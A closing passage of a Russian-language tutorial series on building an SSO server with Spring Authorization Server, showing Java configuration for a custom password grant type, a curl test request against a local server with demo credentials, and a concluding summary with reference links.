    // .....
    private final OAuth2AuthorizationService authorizationService;
    private final OAuth2TokenGenerator<? extends OAuth2Token> tokenGenerator;
    private final AuthenticationManager authenticationManager;

    @Order(Ordered.HIGHEST_PRECEDENCE)
    public SecurityFilterChain authServerSecurityFilterChain(HttpSecurity http) throws Exception {
        OAuth2AuthorizationServerConfigurer authorizationServerConfigurer = new OAuth2AuthorizationServerConfigurer();
        authorizationServerConfigurer.tokenIntrospectionEndpoint((config) -> {
            config.introspectionResponseHandler(introspectionService::introspectionResponse);
        });

        // настроим OAuth2TokenEndpointConfigurer. Добавим поддержку password grant type
        authorizationServerConfigurer.tokenEndpoint(customizer -> {
            customizer.accessTokenRequestConverter(new OAuth2PasswordAuthenticationConverter());
            customizer.authenticationProvider(new OAuth2PasswordTokenAuthenticationProvider(
                    authorizationService,
                    tokenGenerator,
                    authenticationManager
            ));
        });

        // ....
    }

    // ....
}

На этом создание собственного grant type завершено. Можно приступать к тестированию. Запустите приложение и попробуйте сделать следующий запрос:

curl --location 'http://127.0.0.1:7777/oauth2/token' \
--header 'Authorization: Basic dGVzdC1jbGllbnQ6dGVzdC1jbGllbnQ=' \
--form 'grant_type="password"' \
--form 'username="admin@example.com"' \
--form 'password="admin@example.com"'

В результате вы получите access и refresh токены.

Выполнение запроса с grant_type=password
Выполнение запроса с grant_type=password

Для удобства дальнейшего исследования вами данной реализации я добавил в test-client отдельную кнопку, которая демонстрирует авторизацию с использованием password grant type.

Демонстрация работы test-client с grant_type=password
Демонстрация работы test-client с grant_type=password

Исходники данного раздела смотрите здесь.

Заключение

Ну вот и подошел наш путь создания собственного SSO к концу. Мы проделали огромную работу и в деталях разобрали не только настройку Spring Security и Spring OAuth2 Authorization Server, но и в целом построение WEB приложения с использованием платформы Spring и ее сопутствующих проектов. Мы проделали интересный путь от построения простенького демо проекта к полноценному приложению, продумав множество моментов, которые не видны на первый взгляд. И даже, немного позаботились о безопасности нашего приложения. Надеюсь, что все подходы и реализации, которые мы разобрали в этой серии статей, помогут вам в построении ваших проектов или станут неплохой отправной точкой в изучении Spring Security и создании WEB приложений в целом.

Полезные ссылки

Исходники смотрите здесь

  1. Документация OAuth2.0

  2. Spring Security OAuth2.0 Migration Guide

  3. Документация по Spring Security

  4. Документация по Spring Framework

  5. Библиотека ShedLock

  6. Документация по HTTP

  7. OWASP Java Encoder

  8. Как настроить SSL-сертификат на Nginx

  9. RFC 7231. HTTP

  10. HSTS preload

  11. Permissions-Policy HTTP Header

  12. Спецификация по OAuth2.1

Комментарии (0)